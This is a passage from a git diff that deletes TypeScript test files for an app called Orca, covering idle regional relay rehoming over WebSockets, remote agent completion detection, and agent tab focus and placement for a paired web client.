source.assignments.resolve(identity) - if (!assignment) { - return Response.json({ error: 'assignment_not_found' }, { status: 409 }) - } - return Response.json({ - v: 1, - cellUrl: assignment.cellUrl, - assignmentEpoch: assignment.assignmentEpoch, - lease: 'synthetic-assignment-lease' - }) - }) as typeof fetch - }) - cleanups.push(async () => { - pool.closeNow() - }) - const assignment = await source.assignments.assign(identity, 'us-central1') - const controlIntervals = vi.spyOn(globalThis, 'setInterval') - let controlHeartbeat: (() => void) | undefined - try { - await pool.openInitial( - { - v: 1, - cellUrl: assignment.cellUrl, - assignmentEpoch: assignment.assignmentEpoch, - lease: 'synthetic-assignment-lease' - }, - hostId - ) - const session = source.sessions.get(identity) - if (session?.heartbeatTimer) { - const intervals = controlIntervals.mock.calls.filter( - (call, index) => - controlIntervals.mock.results[index]?.type === 'return' && - controlIntervals.mock.results[index]?.value === session.heartbeatTimer && - call[1] === RELAY_PROTOCOL_LIMITS.controlPingIntervalMs && - typeof call[0] === 'function' - ) - if (intervals.length === 1 && typeof intervals[0]?.[0] === 'function') { - controlHeartbeat = intervals[0][0] - } - } - } finally { - controlIntervals.mockRestore() - } - const sourceControl = source.sessions.get(identity) - if (!sourceControl || !controlHeartbeat) { - throw new Error('missing source control heartbeat') - } - for ( - let elapsed = 0; - elapsed < IDLE_REHOME_MIN_CONTROL_AGE_MS; - elapsed += RELAY_PROTOCOL_LIMITS.controlPingIntervalMs - ) { - const renewalDueAt = sourceControl.activityRenewalDueAt - const completedRenewal = sourceControl.activityRenewalCompletedAttempt - clock += Math.min( - RELAY_PROTOCOL_LIMITS.controlPingIntervalMs, - IDLE_REHOME_MIN_CONTROL_AGE_MS - elapsed - ) - controlHeartbeat() - await expect - .poll(() => [sourceControl.lastPongAt, sourceControl.pendingPingAt]) - .toEqual([clock, null]) - if (clock >= renewalDueAt) { - await expect - .poll(() => sourceControl.activityRenewalCompletedAttempt, { - timeout: CONTROL_RENEWAL_BATCH_INTERVAL_MS * 2 - }) - .toBeGreaterThan(completedRenewal) - } - } - await heartbeat() - const attachPhone = async (cellIndex: number, device: string) => { - const invite = await source.store.createInvite(identity, device) - const socket = connect(`${cells[cellIndex]!.url}/v1/connect/${hostId}`) - await once(socket, 'open') - const hello = once(socket, 'message') - socket.send( - JSON.stringify({ type: 'relay-auth', v: 1, mode: 'connect', credential: invite.inviteToken }) - ) - const [raw] = await hello - expect(JSON.parse(raw.toString())).toMatchObject({ type: 'relay-hello', ok: true }) - return socket - } - let candidate: (IdleRegionalRehomeRequest & { sourceCellUrl: string }) | undefined - const prepareMove = async () => { - const issued = await source.assignments.exchangeRegionCorrection( - identity, - { v: 1, action: 'issue-window' }, - assignment.assignmentEpoch - ) - await source.assignments.exchangeRegionCorrection( - identity, - { - v: 1, - action: 'report', - generation: issued.window!.generation, - assignmentEpoch: assignment.assignmentEpoch, - policyVersion: 1, - outcome: 'conclusive', - measurements: { 'us-central1': 180, 'asia-east2': 40 } - }, - assignment.assignmentEpoch - ) - candidate = (await source.assignments.selectIdleRegionalRehomeCandidates(safety()))[0] - expect(candidate).toBeDefined() - return candidate! - } - const move = async () => { - if (!candidate) { - await prepareMove() - } - const { sourceCellUrl, ...request } = candidate! - const address = endpoints.get(new URL(sourceCellUrl).host)!.replace('ws:', 'http:') - const response = await fetch(`${address}/v1/admin/host-idle-rehome`, { - method: 'POST', - headers: { authorization: 'Bearer test-director-token', 'content-type': 'application/json' }, - body: JSON.stringify({ ...request, cohortPercent: 100, directorSafety: safety() }) - }) - const body = (await response.json()) as { v: number; outcome: string } - expect(response.status, JSON.stringify(body)).toBe(200) - return { outcome: body.outcome } - } - return { - source, - target, - pool, - identity, - database, - cells, - attachPhone, - connectDevice: () => connect(`${cells[0]!.url}/v1/connect/${hostId}`), - move, - prepareMove, - heartbeat, - now: () => clock, - advance: (ms: number) => { - clock += ms - }, - received, - failNextCorroboration: () => { - failCorroboration = 1 - }, - pauseCorroboration: (paused: boolean) => { - pauseCorroboration = paused - }, - corroborationFailures: () => corroborationFailures, - targetControlFailures: () => targetControlFailures, - failTarget: () => { - rejectTargetControls = true - const session = target.sessions.get(identity) - if (session?.socket) { - session.socket.terminate() - } - }, - execution, - executionErrors, - mutations: () => execution.mutations(), - reply: () => { - if (!delayedReply) { - throw new Error('no delayed mutation') - } - delayedReply() - } - } -} - -async function echo(socket: WebSocket, value: string) { - const marker = `${value}:${randomUUID()}` - const response = once(socket, 'message') - socket.send(marker) - const [raw] = await response - expect(raw.toString()).toBe(`host:${marker}`) -} - -describe('idle region correction across real relay and desktop WebSockets', () => { - it('releases the empty source and recovers normally when the target never registers', async () => { - const context = await topology() - await context.prepareMove() - context.failTarget() - expect(await context.move()).toEqual({ outcome: 'committed' }) - await expect.poll(() => context.source.sessions.get(context.identity)).toBeNull() - await expect - .poll(async () => - context.database.query( - `SELECT activity_id FROM relay_assignment_activity_leases - WHERE user_id = ? AND relay_host_id = ? AND cell_id = ?`, - [context.identity.userId, context.identity.relayHostId, context.cells[0]!.id] - ) - ) - .toEqual([]) - await expect.poll(context.targetControlFailures).toBeGreaterThan(0) - context.advance(15 * 60_000 + 1) - await context.heartbeat() - expect(await context.source.assignments.abortExpiredEvacuations()).toBe(1) - expect(await context.source.assignments.resolve(context.identity)).toMatchObject({ - cellId: context.cells[0]!.id, - assignmentEpoch: 3 - }) - await expect - .poll(() => context.pool.activeAssignment?.cellUrl, { timeout: 15_000 }) - .toBe(context.cells[0]!.url) - await expect - .poll(() => context.source.sessions.get(context.identity)?.state, { timeout: 15_000 }) - .toBe('active') - const returning = await context.attachPhone(0, 'phone-after-target-failure') - await echo(returning, 'after-target-failure') - expect(await context.mutations()).toBe(0) - expect(context.executionErrors).toEqual([]) - }, 30_000) - - it('rejects an arrival during cutover and restores admissions after a definite failed commit', async () => { - const context = await topology() - await context.prepareMove() - const original = context.source.sessions.get(context.identity)! - let entered!: () => void - let release!: () => void - const committing = new Promise((resolve) => { - entered = resolve - }) - const gate = new Promise((resolve) => { - release = resolve - }) - vi.spyOn(context.source.assignments, 'commitIdleRegionalRehome').mockImplementationOnce( - async () => { - entered() - await gate - throw new Error('simulated_database_unavailable_before_commit') - } - ) - const move = context.move() - await committing - try { - const invite = await context.source.store.createInvite(context.identity, 'racing-phone') - const arriving = context.connectDevice() - const rejected = once(arriving, 'close') - await once(arriving, 'open') - arriving.send( - JSON.stringify({ - type: 'relay-auth', - v: 1, - mode: 'connect', - credential: invite.inviteToken - }) - ) - expect((await rejected)[0]).toBe(4409) - expect(context.source.sessions.get(context.identity)).toBe(original) - } finally { - release() - await move - } - expect(await move).toEqual({ outcome: 'deferred' }) - expect(context.source.sessions.get(context.identity)).toBe(original) - const returning = await context.attachPhone(0, 'retrying-phone') - await echo(returning, 'after-definite-abort') - expect(await context.mutations()).toBe(0) - expect(context.executionErrors).toEqual([]) - }, 30_000) - - it('defers for either connected device, then moves after both disconnect without replaying work', async () => { - const context = await topology() - const phone = await context.attachPhone(0, 'phone') - const tablet = await context.attachPhone(0, 'tablet') - const sourceSession = context.source.sessions.get(context.identity)! - await echo(phone, 'before-cutover') - phone.send('mutation-1') - await expect.poll(context.mutations).toBe(1) - expect(await context.move()).toEqual({ outcome: 'busy' }) - expect(context.source.sessions.get(context.identity)).toBe(sourceSession) - expect((await context.source.assignments.resolve(context.identity))?.cellId).toBe( - context.cells[0]!.id - ) - const acknowledged = once(phone, 'message') - context.reply() - expect((await acknowledged)[0].toString()).toBe('mutation-1-ack') - const phoneClosed = once(phone, 'close') - phone.close() - await phoneClosed - await expect.poll(() => sourceSession.activeSplices.size).toBe(1) - expect(await context.move()).toEqual({ outcome: 'busy' }) - await echo(tablet, 'quiet-tablet-still-connected') - const tabletClosed = once(tablet, 'close') - tablet.close() - await tabletClosed - await expect.poll(() => sourceSession.activeSplices.size).toBe(0) - expect(await context.move()).toEqual({ outcome: 'committed' }) - await expect - .poll(() => context.pool.activeAssignment?.cellUrl, { timeout: 15_000 }) - .toBe(context.cells[1]!.url) - await expect.poll(() => context.source.sessions.get(context.identity)).toBeNull() - const returning = await context.attachPhone(1, 'returning-phone') - await echo(returning, 'after-idle-cutover') - expect(await context.mutations()).toBe(1) - expect(context.executionErrors).toEqual([]) - expect(context.execution.sequence()).toBe(4) - }, 30_000) -}) diff --git a/tests/e2e/remote-agent-completion-authority.unit.test.ts b/tests/e2e/remote-agent-completion-authority.unit.test.ts deleted file mode 100644 index 1294fef49e6..00000000000 --- a/tests/e2e/remote-agent-completion-authority.unit.test.ts +++ /dev/null @@ -1,256 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { createTerminalTitleTracker } from '../../src/shared/terminal/output/terminal-output-side-effects' -import { createAgentCompletionCoordinator } from '../../src/renderer/src/components/terminal-pane/agent-completion/agent-completion-coordinator' -import { resetAgentCompletionCoordinatorIdentitiesForTest } from '../../src/renderer/src/components/terminal-pane/agent-completion/agent-completion-identity-store' -import type { AgentCompletionDispatchMeta } from '../../src/renderer/src/components/terminal-pane/agent-completion/agent-completion-coordinator-types' -import { inspectRuntimeTerminalProcess } from '../../src/renderer/src/runtime/hosted-terminals/inspection/runtime-terminal-process-inspection' -import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '../../src/renderer/src/runtime/rpc/compatibility/runtime-compatibility-cache' -import { - createCompatibleRuntimeStatusResponseIfNeeded, - type RuntimeEnvironmentCallRequest -} from '../../src/renderer/src/runtime/rpc/testing/runtime-compatibility-test-fixture' - -const REMOTE_PTY_ID = 'remote:remote-host@@term_remote_agent' - -describe('remote agent completion authority', () => { - const runtimeCall = vi.fn() - const runtimeTransportCall = vi.fn((args: RuntimeEnvironmentCallRequest) => { - return createCompatibleRuntimeStatusResponseIfNeeded(args) ?? runtimeCall(args) - }) - - beforeEach(() => { - vi.useFakeTimers() - vi.spyOn(Math, 'random').mockReturnValue(0.5) - clearRuntimeCompatibilityCacheForTests() - vi.stubGlobal('window', { - api: { - runtimeEnvironments: { call: runtimeTransportCall }, - pty: { - getForegroundProcess: vi.fn(), - hasChildProcesses: vi.fn() - } - } - }) - }) - - afterEach(() => { - resetAgentCompletionCoordinatorIdentitiesForTest() - vi.useRealTimers() - vi.unstubAllGlobals() - vi.clearAllMocks() - vi.restoreAllMocks() - }) - - it('keeps an idle remote pane at zero inspection cadence', async () => { - const dispatchCompletion = vi.fn() - const coordinator = createAgentCompletionCoordinator({ - paneKey: 'tab-remote:leaf-remote', - getPtyId: () => REMOTE_PTY_ID, - isRemotePtyId: () => true, - getExpectedIncarnationId: () => 'inc-remote', - inspectProcess: inspectRuntimeTerminalProcess, - dispatchCompletion, - isLive: () => true - }) - - coordinator.startProcessTracking() - await vi.advanceTimersByTimeAsync(60_000) - expect(runtimeCall).not.toHaveBeenCalled() - expect(dispatchCompletion).not.toHaveBeenCalled() - - coordinator.dispose() - }) - - it('accepts only fenced host evidence for an explicit remote title confirmation', async () => { - const dispatchCompletion = vi.fn() - const coordinator = createAgentCompletionCoordinator({ - paneKey: 'tab-remote:leaf-confirm', - getPtyId: () => REMOTE_PTY_ID, - isRemotePtyId: () => true, - getExpectedIncarnationId: () => 'inc-remote', - inspectProcess: inspectRuntimeTerminalProcess, - dispatchCompletion, - isLive: () => true - }) - - runtimeCall.mockResolvedValue(remoteInspectionWithEvidence('codex')) - coordinator.startProcessTracking() - coordinator.observeTitle('Codex working') - coordinator.observeTitle('/tmp/finished-task') - await vi.advanceTimersByTimeAsync(0) - await Promise.resolve() - await Promise.resolve() - - expect(runtimeCall).toHaveBeenCalledOnce() - expect(dispatchCompletion).toHaveBeenCalledWith('/tmp/finished-task') - - coordinator.dispose() - }) - - it('never recognizes a bare compatibility process name from an old host', async () => { - const dispatchCompletion = vi.fn() - const coordinator = createAgentCompletionCoordinator({ - paneKey: 'tab-remote:leaf-legacy', - getPtyId: () => REMOTE_PTY_ID, - isRemotePtyId: () => true, - getExpectedIncarnationId: () => 'inc-remote', - inspectProcess: inspectRuntimeTerminalProcess, - dispatchCompletion, - isLive: () => true - }) - - runtimeCall.mockResolvedValue(remoteInspection('codex')) - coordinator.startProcessTracking() - coordinator.observeTitle('Codex working') - coordinator.observeTitle('/tmp/legacy-host-title') - await vi.advanceTimersByTimeAsync(0) - await Promise.resolve() - await Promise.resolve() - - expect(runtimeCall).toHaveBeenCalledOnce() - expect(dispatchCompletion).not.toHaveBeenCalled() - coordinator.dispose() - }) - - it('dispatches process-exit only for a positive host tombstone', async () => { - const dispatchCompletion = vi.fn() - const coordinator = createAgentCompletionCoordinator({ - paneKey: 'tab-remote:leaf-exit', - getPtyId: () => REMOTE_PTY_ID, - isRemotePtyId: () => true, - getExpectedIncarnationId: () => 'inc-remote', - inspectProcess: inspectRuntimeTerminalProcess, - dispatchCompletion, - isLive: () => true - }) - - runtimeCall - .mockResolvedValueOnce(remoteInspectionWithEvidence('codex', 1)) - .mockResolvedValueOnce(remoteInspectionWithEvidence(null, 2, 'exited')) - coordinator.startProcessTracking() - coordinator.observeTitle('Codex working') - coordinator.observeTitle('/tmp/first-finish') - await vi.advanceTimersByTimeAsync(0) - await Promise.resolve() - await Promise.resolve() - dispatchCompletion.mockClear() - - coordinator.observeTitle('Codex working') - coordinator.observeTitle('/tmp/second-finish') - await vi.advanceTimersByTimeAsync(0) - await Promise.resolve() - await Promise.resolve() - - expect(dispatchCompletion).toHaveBeenCalledWith('codex', { - source: 'process-exit', - quietedHookDone: false, - terminalIdleConfirmed: true - }) - coordinator.dispose() - }) - - it('preserves distinct stopped, exited, and successful completion evidence', async () => { - const outcomes: ( - | { kind: 'hook'; interrupted: boolean } - | { kind: 'process-exit'; exitCode: number | null } - )[] = [] - const createHookCoordinator = (paneKey: string) => - createAgentCompletionCoordinator({ - paneKey, - getPtyId: () => REMOTE_PTY_ID, - isRemotePtyId: () => true, - getExpectedIncarnationId: () => 'inc-remote', - inspectProcess: inspectRuntimeTerminalProcess, - dispatchCompletion: (_title: string, meta?: AgentCompletionDispatchMeta) => { - outcomes.push({ - kind: 'hook', - interrupted: meta?.agentStatus?.interrupted === true - }) - }, - isLive: () => true - }) - - const stopped = createHookCoordinator('tab-remote:leaf-stopped') - stopped.observeHookStatus({ state: 'working', prompt: 'stop me', agentType: 'codex' }) - stopped.observeHookStatus({ - state: 'done', - prompt: 'stop me', - agentType: 'codex', - interrupted: true - }) - await vi.advanceTimersByTimeAsync(1_500) - - const tracker = createTerminalTitleTracker({ - onCommandFinished: (exitCode) => outcomes.push({ kind: 'process-exit', exitCode }) - }) - tracker.handleChunk('\u001b]133;D;130\u0007') - - const succeeded = createHookCoordinator('tab-remote:leaf-succeeded') - succeeded.observeHookStatus({ state: 'working', prompt: 'finish me', agentType: 'codex' }) - succeeded.observeHookStatus({ state: 'done', prompt: 'finish me', agentType: 'codex' }) - await vi.advanceTimersByTimeAsync(1_500) - - expect(outcomes).toEqual([ - { kind: 'hook', interrupted: true }, - { kind: 'process-exit', exitCode: 130 }, - { kind: 'hook', interrupted: false } - ]) - - stopped.dispose() - succeeded.dispose() - tracker.dispose() - }) -}) - -function remoteInspection(foregroundProcess: string | null, hasChildProcesses = true) { - return { - ok: true, - result: { process: { foregroundProcess, hasChildProcesses } }, - _meta: { runtimeId: 'remote-host' } - } -} - -function remoteInspectionWithEvidence( - processName: string | null, - observationEpoch = 1, - verdict: 'live' | 'exited' = 'live' -) { - return { - ok: true, - result: { - process: { - foregroundProcess: processName, - hasChildProcesses: processName !== null, - foregroundProcessEvidence: - verdict === 'live' - ? { - verdict, - processName, - authorityGeneration: 'runtime-authority', - observationEpoch, - capturedAgeMs: 0, - ptyId: 'term_remote_agent', - ptyIncarnationId: 'inc-remote', - fence: { - platform: 'posix' as const, - shellPid: 100, - shellStartTime: 'shell-start', - tty: '/dev/pts/2', - foregroundPgid: 101, - process: { pid: 101, startTime: 'agent-start' } - } - } - : { - verdict, - reason: 'pty_exit_0', - authorityGeneration: 'runtime-authority', - observationEpoch, - capturedAgeMs: 0, - ptyId: 'term_remote_agent', - ptyIncarnationId: 'inc-remote' - } - } - }, - _meta: { runtimeId: 'remote-host' } - } -} diff --git a/tests/e2e/remote-agent-session-focus-authority.spec.ts b/tests/e2e/remote-agent-session-focus-authority.spec.ts deleted file mode 100644 index 28eb4937000..00000000000 --- a/tests/e2e/remote-agent-session-focus-authority.spec.ts +++ /dev/null @@ -1,571 +0,0 @@ -import { existsSync, mkdtempSync, readFileSync, rmSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { - createRuntimeDesktopPairingOffer, - launchPairedWebClient -} from './helpers/paired-electron-client' -import { toWebTerminalSurfaceTabId } from '../../src/shared/workspace-layout/terminal-surface-id' -import type { RuntimeTerminalSummary } from '../../src/shared/terminal/runtime/runtime-terminal-contracts' -import { quotePosixShell } from '../../src/shared/shell/launch/shell-argument-quoting' - -type ClientMirror = { - activeTabId: string | null - tabIds: string[] - tabGroups: { id: string; tabOrder: string[] }[] -} - -const scratch = mkdtempSync(path.join(os.tmpdir(), 'orca-headed-agent-focus-')) -const spawnMarkerPath = path.join(scratch, 'agent-spawns.txt') -const inputMarkerPath = path.join(scratch, 'agent-input.txt') -const exitTriggerPath = path.join(scratch, 'exit-agent') -const fixtureScript = path.join( - process.cwd(), - 'config', - 'scripts', - 'diagnostics', - 'remote-agent-authority', - 'remote-agent-session-repro-fixture.mjs' -) -const writableShellScript = path.join( - process.cwd(), - 'config', - 'scripts', - 'diagnostics', - 'remote-agent-authority', - 'remote-agent-session-repro-writable-shell.mjs' -) - -test.use({ - launchEnv: { - ORCA_REPRO_EXIT_TRIGGER: exitTriggerPath, - ORCA_REPRO_INPUT_MARKER: inputMarkerPath, - ORCA_REPRO_SPAWN_MARKER: spawnMarkerPath - } -}) - -test.afterAll(() => { - rmSync(scratch, { recursive: true, force: true }) -}) - -function fixtureCommand(scriptPath: string, ...args: string[]): string { - const command = [process.execPath, scriptPath, ...args] - return process.platform === 'win32' - ? command.map((value) => `"${value.replaceAll('"', '""')}"`).join(' ') - : command.map(quotePosixShell).join(' ') -} - -function countAgentSpawns(): number { - if (!existsSync(spawnMarkerPath)) { - return 0 - } - return readFileSync(spawnMarkerPath, 'utf8').split(/\r?\n/).filter(Boolean).length -} - -function readAgentSpawnPids(): number[] { - if (!existsSync(spawnMarkerPath)) { - return [] - } - return readFileSync(spawnMarkerPath, 'utf8') - .split(/\r?\n/) - .filter(Boolean) - .map((line) => Number(line.split(':', 1)[0])) - .filter((pid) => Number.isInteger(pid) && pid > 0) -} - -function isProcessAlive(pid: number): boolean { - try { - process.kill(pid, 0) - return true - } catch (error) { - return (error as NodeJS.ErrnoException).code !== 'ESRCH' - } -} - -async function callClient(page: Page, method: string, params: unknown): Promise { - return page.evaluate( - async ({ method, params }) => { - const response = await window.api.runtime.call({ method, params }) - if (!response.ok) { - throw new Error(`${response.error.code}: ${response.error.message}`) - } - return response.result - }, - { method, params } - ) as Promise -} - -async function listTerminals(page: Page, worktreeId: string): Promise { - return ( - await callClient<{ terminals: RuntimeTerminalSummary[] }>(page, 'terminal.list', { - worktree: `id:${worktreeId}` - }) - ).terminals -} - -async function readClientMirror(page: Page, worktreeId: string): Promise { - return page.evaluate((id) => { - const state = window.__store?.getState() - const tabIds = (state?.tabsByWorktree[id] ?? []).map((tab) => tab.id) - return { - activeTabId: state?.activeTabIdByWorktree[id] ?? null, - tabIds, - tabGroups: (state?.groupsByWorktree[id] ?? []).map((group) => ({ - id: group.id, - tabOrder: group.tabOrder - })) - } - }, worktreeId) -} - -async function readRenderedActiveTabId(page: Page): Promise { - return page.evaluate( - () => - document - .querySelector('[data-testid="sortable-tab"][data-active="true"]') - ?.getAttribute('data-tab-id') ?? null - ) -} - -async function readRenderedTabOrder(page: Page): Promise { - return page - .locator('[data-testid="sortable-tab"]') - .evaluateAll((tabs) => - tabs - .map((tab) => tab.getAttribute('data-tab-id')) - .filter((tabId): tabId is string => tabId !== null) - ) -} - -function expectImmediatelyAfter(order: string[], predecessor: string, created: string): void { - const predecessorIndex = order.indexOf(predecessor) - if (predecessorIndex === -1) { - throw new Error( - `placement predecessor ${predecessor} missing before ${created}: ${JSON.stringify(order)}` - ) - } - expect(order[predecessorIndex + 1]).toBe(created) -} - -async function launchAgent( - page: Page, - args: { - worktreeId: string - environmentId: string - hostPage: Page - kind: 'fresh' | 'resume' - activate: boolean - providerSessionId?: string - afterTabId?: string - } -): Promise<{ terminal: RuntimeTerminalSummary; mirror: ClientMirror }> { - const before = await listTerminals(page, args.worktreeId) - const beforeHandles = new Set(before.map((terminal) => terminal.handle)) - const priorMirror = await readClientMirror(page, args.worktreeId) - const priorRenderedActiveTabId = await readRenderedActiveTabId(page) - const priorHostMirror = await readClientMirror(args.hostPage, args.worktreeId) - const priorHostRenderedActiveTabId = await readRenderedActiveTabId(args.hostPage) - const { hostPage: _hostPage, ...clientArgs } = args - - const outcome = await page.evaluate( - async ({ args, fixtureCommand }) => { - const bridge = ( - window as unknown as { - __webRuntimeSessionE2E?: { - createTerminal: ( - launch: Record - ) => Promise<{ status: string; message?: string }> - } - } - ).__webRuntimeSessionE2E - if (!bridge) { - throw new Error('Web runtime session E2E bridge is unavailable') - } - return bridge.createTerminal({ - worktreeId: args.worktreeId, - environmentId: args.environmentId, - agentSessionKind: args.kind, - agent: 'codex', - command: fixtureCommand, - activate: args.activate, - ...(args.providerSessionId - ? { - providerSession: { key: 'session_id', id: args.providerSessionId } - } - : {}), - ...(args.afterTabId ? { afterTabId: args.afterTabId } : {}) - }) - }, - { - args: clientArgs, - fixtureCommand: fixtureCommand(fixtureScript) - } - ) - expect(outcome).toEqual({ status: 'created' }) - - let createdTerminals: RuntimeTerminalSummary[] = [] - await expect - .poll( - async () => { - const terminals = await listTerminals(page, args.worktreeId) - createdTerminals = terminals.filter((candidate) => !beforeHandles.has(candidate.handle)) - return createdTerminals.length - }, - { timeout: 15_000 } - ) - .toBe(1) - const terminal = createdTerminals[0] - if (!terminal) { - throw new Error('Exactly one created agent terminal was not published') - } - - const expectedActiveId = toWebTerminalSurfaceTabId(terminal.tabId) - await expect - .poll(() => readClientMirror(page, args.worktreeId), { timeout: 15_000 }) - .toMatchObject({ - activeTabId: args.activate ? expectedActiveId : priorMirror.activeTabId, - tabIds: expect.arrayContaining([expectedActiveId]) - }) - await expect - .poll(() => readRenderedActiveTabId(page), { timeout: 15_000 }) - .toBe(args.activate ? expectedActiveId : priorRenderedActiveTabId) - await expect( - page.locator( - `[data-testid="sortable-tab"][data-tab-id="${expectedActiveId}"][data-active="${args.activate ? 'true' : 'false'}"]` - ) - ).toBeVisible() - await expect - .poll(() => readClientMirror(args.hostPage, args.worktreeId), { timeout: 15_000 }) - .toMatchObject({ activeTabId: priorHostMirror.activeTabId }) - await expect - .poll(() => readRenderedActiveTabId(args.hostPage), { timeout: 15_000 }) - .toBe(priorHostRenderedActiveTabId) - return { terminal, mirror: await readClientMirror(page, args.worktreeId) } -} - -test('headed paired host keeps structured agent focus viewer-local @headful', async ({ - electronApp, - orcaPage -}) => { - test.setTimeout(180_000) - const override = fixtureCommand(fixtureScript) - await orcaPage.evaluate(async (agentCommand) => { - const settings = await window.api.settings.set({ - agentCmdOverrides: { codex: agentCommand } - }) - window.__store?.setState({ settings }) - }, override) - - const offer = await createRuntimeDesktopPairingOffer(orcaPage) - const client = await launchPairedWebClient(electronApp, offer) - let cleanupWorktreeId: string | null = null - try { - const worktreeId = await orcaPage.evaluate(() => { - const state = window.__store?.getState() - if (!state?.activeWorktreeId) { - throw new Error('Headed host did not select its seeded worktree') - } - return state.activeWorktreeId - }) - await expect - .poll( - () => - client.page.evaluate( - (id) => - window.__store - ?.getState() - .allWorktrees() - .some((worktree) => worktree.id === id), - worktreeId - ), - { timeout: 30_000 } - ) - .toBe(true) - const session = await client.page.evaluate(async (selectedWorktreeId) => { - const environment = (await window.api.runtimeEnvironments.list())[0] - if (!environment) { - throw new Error('Paired client did not retain its runtime environment') - } - return { worktreeId: selectedWorktreeId, environmentId: environment.id } - }, worktreeId) - cleanupWorktreeId = session.worktreeId - await client.page.evaluate((id) => window.__store?.getState().setActiveWorktree(id), worktreeId) - await expect - .poll(() => readRenderedActiveTabId(client.page), { timeout: 15_000 }) - .not.toBeNull() - - const unrelatedMarkerPath = path.join(scratch, 'unrelated-input.txt') - const unrelatedCreated = await callClient<{ - tab: { - type: 'terminal' - parentTabId: string - leafId: string - terminal: string | null - } - }>(client.page, 'session.tabs.createTerminal', { - worktree: `id:${session.worktreeId}`, - command: fixtureCommand(writableShellScript, unrelatedMarkerPath), - activate: false, - select: false, - navigation: 'caller' - }) - if (!unrelatedCreated.tab.terminal) { - throw new Error('Unrelated headed terminal did not publish a ready handle') - } - await expect - .poll( - async () => - (await listTerminals(client.page, session.worktreeId)).some( - (terminal) => terminal.handle === unrelatedCreated.tab.terminal - ), - { timeout: 15_000 } - ) - .toBe(true) - const unrelatedTerminal = (await listTerminals(client.page, session.worktreeId)).find( - (terminal) => terminal.handle === unrelatedCreated.tab.terminal - ) - if (!unrelatedTerminal) { - throw new Error('Unrelated headed terminal was absent from authoritative inventory') - } - const unrelatedWebTabId = toWebTerminalSurfaceTabId(unrelatedCreated.tab.parentTabId) - await expect - .poll(async () => (await readClientMirror(client.page, session.worktreeId)).tabIds, { - timeout: 15_000 - }) - .toEqual(expect.arrayContaining([unrelatedWebTabId])) - - const authoritativeBeforeLegacy = await callClient<{ - tabGroups?: { id: string; tabOrder: string[] }[] - tabs: { type: string; parentTabId?: string; leafId?: string }[] - }>(client.page, 'session.tabs.list', { - worktree: `id:${session.worktreeId}` - }) - const legacyGroup = authoritativeBeforeLegacy.tabGroups?.find((group) => { - const unrelatedIndex = group.tabOrder.indexOf(unrelatedCreated.tab.parentTabId) - const predecessorId = unrelatedIndex > 0 ? group.tabOrder[unrelatedIndex - 1] : null - return authoritativeBeforeLegacy.tabs.some( - (tab) => tab.type === 'terminal' && tab.parentTabId === predecessorId - ) - }) - const successorHostTabId = unrelatedCreated.tab.parentTabId - const successorIndex = legacyGroup?.tabOrder.indexOf(successorHostTabId) ?? -1 - const predecessorHostTabId = - successorIndex > 0 ? legacyGroup?.tabOrder[successorIndex - 1] : undefined - const predecessorHostLeafId = authoritativeBeforeLegacy.tabs.find( - (tab) => tab.type === 'terminal' && tab.parentTabId === predecessorHostTabId - )?.leafId - if (!legacyGroup || !predecessorHostTabId || !successorHostTabId || !predecessorHostLeafId) { - throw new Error('Legacy placement host predecessor or successor is missing') - } - const predecessorWebTabId = toWebTerminalSurfaceTabId(predecessorHostTabId) - const successorWebTabId = toWebTerminalSurfaceTabId(successorHostTabId) - await expect - .poll(() => readRenderedTabOrder(client.page), { timeout: 15_000 }) - .toEqual(expect.arrayContaining([predecessorWebTabId, successorWebTabId])) - await expect - .poll(() => readRenderedActiveTabId(client.page), { timeout: 15_000 }) - .not.toBeNull() - const legacy = await launchAgent(client.page, { - ...session, - hostPage: orcaPage, - kind: 'fresh', - activate: false, - afterTabId: toWebTerminalSurfaceTabId(`${predecessorHostTabId}::${predecessorHostLeafId}`) - }) - const legacyWebTabId = toWebTerminalSurfaceTabId(legacy.terminal.tabId) - await expect - .poll( - async () => { - const order = await readRenderedTabOrder(client.page) - const anchorIndex = order.indexOf(predecessorWebTabId) - return anchorIndex === -1 ? [] : order.slice(anchorIndex, anchorIndex + 3) - }, - { timeout: 15_000, message: 'Legacy placement did not reach the rendered tab order' } - ) - .toEqual([predecessorWebTabId, legacyWebTabId, successorWebTabId]) - const mirroredLegacyGroup = ( - await readClientMirror(client.page, session.worktreeId) - ).tabGroups.find((group) => group.id === legacyGroup.id) - if (!mirroredLegacyGroup) { - throw new Error('Legacy placement mirrored group is missing') - } - expectImmediatelyAfter(mirroredLegacyGroup.tabOrder, predecessorWebTabId, legacyWebTabId) - expectImmediatelyAfter(mirroredLegacyGroup.tabOrder, legacyWebTabId, successorWebTabId) - const renderedOrder = await readRenderedTabOrder(client.page) - expectImmediatelyAfter(renderedOrder, predecessorWebTabId, legacyWebTabId) - expectImmediatelyAfter(renderedOrder, legacyWebTabId, successorWebTabId) - const authoritativeTabs = await callClient<{ - tabGroups?: { id: string; tabOrder: string[] }[] - }>(client.page, 'session.tabs.list', { worktree: `id:${session.worktreeId}` }) - const authoritativeTabOrder = - authoritativeTabs.tabGroups?.find((group) => group.id === legacyGroup.id)?.tabOrder ?? [] - expectImmediatelyAfter(authoritativeTabOrder, predecessorHostTabId, legacy.terminal.tabId) - expectImmediatelyAfter(authoritativeTabOrder, legacy.terminal.tabId, successorHostTabId) - const freshFocused = await launchAgent(client.page, { - ...session, - hostPage: orcaPage, - kind: 'fresh', - activate: true - }) - const freshBackground = await launchAgent(client.page, { - ...session, - hostPage: orcaPage, - kind: 'fresh', - activate: false - }) - const resumeFocused = await launchAgent(client.page, { - ...session, - hostPage: orcaPage, - kind: 'resume', - activate: true, - providerSessionId: 'headed-focus-resume' - }) - const resumeBackground = await launchAgent(client.page, { - ...session, - hostPage: orcaPage, - kind: 'resume', - activate: false, - providerSessionId: 'headed-background-resume' - }) - - await expect.poll(countAgentSpawns, { timeout: 15_000 }).toBe(5) - const structuredPtyIds = [ - freshFocused, - freshBackground, - resumeFocused, - resumeBackground, - legacy - ].map(({ terminal }) => terminal.ptyId) - expect(structuredPtyIds.every(Boolean)).toBe(true) - expect(new Set(structuredPtyIds).size).toBe(5) - await expect - .poll( - () => - orcaPage.evaluate(async () => - (await window.api.pty.listSessions()).map((session) => session.id) - ), - { timeout: 15_000 } - ) - .toEqual(expect.arrayContaining(structuredPtyIds)) - - const marker = 